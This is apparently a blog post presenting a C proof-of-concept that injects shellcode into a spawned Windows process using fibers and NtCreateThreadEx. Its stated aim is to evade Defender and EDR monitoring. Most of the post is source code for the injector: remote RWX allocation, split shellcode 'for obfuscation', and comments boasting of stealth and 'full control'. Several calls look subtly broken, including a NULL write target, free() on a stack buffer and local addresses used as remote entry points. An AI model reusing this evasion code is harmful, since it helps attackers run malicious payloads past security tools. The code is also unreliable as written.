Fiber-based Injection

Introduction

For awhile now people have been relying on CreateThreadEx and other system calls that have been, for a long time, hooked into Defender and other EDR solutions. The common way to avoid this is by understanding the methods these solutions use to inspect and detect unusual behaviors.

Why Fibers?

Fibers are a user-mode-only feature of the Windows OS that have been around forever. Reading through Windows Internals (2016), I noticed something about fibers that was unique. Fibers are unique in that they allow for cooperative multitasking within a single thread, unlike threads, which rely on the kernel for scheduling. This makes them an interesting target for bypassing certain security mechanisms.

Getting to Work

As I got to work on the proof of concept (POC), I had just finished my debugger, which also uses these same techniques and goes deep into Windows architecture and registers. The injector is the first of its kind to take advantage of fibers in this way.

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); if (hProcess) { LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber LPVOID debugFiber = CreateFiber(0, finalFiber, NULL); // Setting up the fiber printf("About to run the shellcode...\n"); // Prep done SwitchToFiber(debugFiber); // Hidden process + obfuscated shellcode = full control DeleteFiber(debugFiber); } else { printf("Failed to open process\n"); }

This snippet creates a fiber inside of the created process and then proceeds with its action.

injection.c

#include 
#include 
#include 

//By Sleepy http://github.com/SleepyG8 ;)

HANDLE hProcess;
LPVOID remoteMem;

typedef NTSTATUS(NTAPI *NtCreateThreadEx_t)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID lpStartAddress,
    PVOID lpParameter,
    ULONG Flags,
    SIZE_T StackZeroBits,
    SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve,
    PVOID lpBytesBuffer
); // Setting ntcreatethreadex struct

BOOL WINAPI finalFiber(LPVOID param) {
    printf("Executing shellcode in remote fiber...\n");

    DWORD oldProtect;
    VirtualProtectEx(hProcess, remoteMem, 300, PAGE_EXECUTE_READWRITE, &oldProtect);

    ((void(*)())remoteMem)(); // Exec
    return TRUE;
}

BOOL WINAPI finalExec() {
    LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber
    LPVOID debugFiber = CreateFiber(0, finalFiber, NULL); // Setting up fiber

    printf("About to run the shellcode...\n"); // Prep done 

    SwitchToFiber(debugFiber);

    // Hidden process + obfuscated shellcode = full control

    DeleteFiber(debugFiber); 

    return TRUE;
}

BOOL WINAPI debug(LPCVOID param) {
    unsigned char shellcode1[] = "first half here";
    unsigned char shellcode2[] = "second half here\n";
    // Must be encrypted/decrypted for more obfuscation

    char finalShellcode[500]; // Use stack for more stealth
    if (!finalShellcode) return FALSE; 

    memcpy(finalShellcode, (char*)shellcode1, strlen(shellcode1));
    memcpy(finalShellcode + strlen(shellcode1), (char*)shellcode2, strlen(shellcode2)); // Combine chars ;)

    remoteMem = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Alloc in remote proc

    if (!remoteMem) {
        printf("Error writing to memory\n");
        VirtualFreeEx(hProcess, finalShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, NULL, finalShellcode, sizeof(finalShellcode), NULL)) {
        printf("Error writing to process memory\n");
        VirtualFreeEx(hProcess, finalShellcode, 0, MEM_RELEASE); // Writing
        CloseHandle(hProcess);
        return FALSE;
    }

    NtCreateThreadEx_t NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
    if (!NtCreateThreadEx) {
        printf("Failed to resolve NtCreateThreadEx.\n");
        return 1;
    }

    HANDLE hThread = NULL;
    NTSTATUS status = NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, finalExec, NULL, FALSE, 0, 0, 0, NULL);

    if (status != 0 || !hThread) {
        printf("Failed to create remote thread.\n");
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); // Most looked-at call by EDRs; fiber helps hide this
        CloseHandle(hProcess);
        return 1;
    }

    free(finalShellcode);
    return TRUE;
}

int main(int argc, char* argv[]) {
    if (argc < 2 || strcmp(argv[1], "help") == 0) {
        printf("Usage: %s \n", argv[0]);
    }

    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    if (CreateProcess(argv[1], NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("Opening process %s:\n", argv[1]);
    } else {
        printf("Error creating process\n");
    }

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
    if (hProcess) {
        LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber
        LPVOID debugFiber = CreateFiber(0, debug, argv[1]); // Setting up fiber

        printf("About to run the shellcode...\n"); // Prep done 

        SwitchToFiber(debugFiber);

        // Hidden proc + obfuscated shellcode = full control

        DeleteFiber(debugFiber); 

    } else {
        printf("Failed to open process\n");
    }

    return 0;
}